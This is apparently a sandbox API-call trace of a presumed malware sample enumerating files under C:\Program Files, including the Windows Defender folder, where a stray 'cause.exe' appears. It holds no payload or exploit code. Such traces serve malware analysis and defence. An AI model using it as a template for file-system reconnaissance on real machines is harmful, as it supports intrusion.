	[0157.580] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x85d6c68a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x85d6c68a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0157.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.581] lstrlenW (lpString="C:\\Program Files\\UNP\\Logs") returned 25
	[0157.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x85d6c68a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x85d6c68a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0157.581] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x85d6c68a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x85d6c68a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.581] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x85d6c68a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x85d6c68a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.001.etl", cAlternateFileName="UN6414~1.ETL")) returned 1
	[0157.581] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.002.etl", cAlternateFileName="UN8F7C~1.ETL")) returned 1
	[0157.582] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.003.etl", cAlternateFileName="UN3A48~1.ETL")) returned 1
	[0157.582] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.004.etl", cAlternateFileName="UNE414~1.ETL")) returned 1
	[0157.583] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.005.etl", cAlternateFileName="UN7020~1.ETL")) returned 1
	[0157.583] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.006.etl", cAlternateFileName="UN4AAB~1.ETL")) returned 1
	[0157.583] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x361fe290, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.007.etl", cAlternateFileName="UN1B88~1.ETL")) returned 1
	[0157.583] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x885ec92b, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.008.etl", cAlternateFileName="UNFF10~1.ETL")) returned 1
	[0157.584] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xce292e60, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.009.etl", cAlternateFileName="UNIVER~4.ETL")) returned 1
	[0157.584] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x107a2333, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.020.etl", cAlternateFileName="UNIVER~3.ETL")) returned 1
	[0157.584] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xcd5eb67, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.021.etl", cAlternateFileName="UNIVER~2.ETL")) returned 1
	[0157.584] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.028.etl", cAlternateFileName="UNIVER~1.ETL")) returned 1
	[0157.584] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.028.etl", cAlternateFileName="UNIVER~1.ETL")) returned 0
	[0157.585] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0157.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.585] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1
	[0157.585] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 0
	[0157.585] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0157.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0157.585] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0157.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0157.586] lstrlenW (lpString="C:\\Program Files\\Windows Defender") returned 33
	[0157.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0157.586] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.597] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AmMonitoringInstall.mof", cAlternateFileName="")) returned 1
	[0157.598] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMMonitoringProvider.dll", cAlternateFileName="")) returned 1
	[0157.598] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x520c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AmStatusInstall.mof", cAlternateFileName="")) returned 1
	[0157.598] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f01ffa0, ftCreationTime.dwHighDateTime=0x1d4a483, ftLastAccessTime.dwLowDateTime=0xfdbf21e0, ftLastAccessTime.dwHighDateTime=0x1d4c1da, ftLastWriteTime.dwLowDateTime=0xfdbf21e0, ftLastWriteTime.dwHighDateTime=0x1d4c1da, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cause.exe", cAlternateFileName="")) returned 1
	[0157.598] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientWMIInstall.mof", cAlternateFileName="")) returned 1
	[0157.598] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConfigSecurityPolicy.exe", cAlternateFileName="")) returned 1
	[0157.598] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataLayer.dll", cAlternateFileName="")) returned 1
	[0157.599] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x171cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DbgHelp.dll", cAlternateFileName="")) returned 1
	[0157.599] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefenderCSP.dll", cAlternateFileName="")) returned 1
	[0157.599] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Defendericon.png", cAlternateFileName="")) returned 1
	[0157.599] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.599] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US") returned 39
	[0157.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0157.601] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.601] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcd996200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EppManifest.dll.mui", cAlternateFileName="")) returned 1
	[0157.602] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0157.602] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1
	[0157.602] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1
	[0157.602] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpResL.dll.mui", cAlternateFileName="")) returned 1
	[0157.602] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe.mui", cAlternateFileName="")) returned 1
	[0157.602] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement.dll.mui", cAlternateFileName="")) returned 1
	[0157.602] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9063ce53, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x13c34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement.mfl", cAlternateFileName="")) returned 1
	[0157.602] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement_Uninstall.mfl", cAlternateFileName="")) returned 1
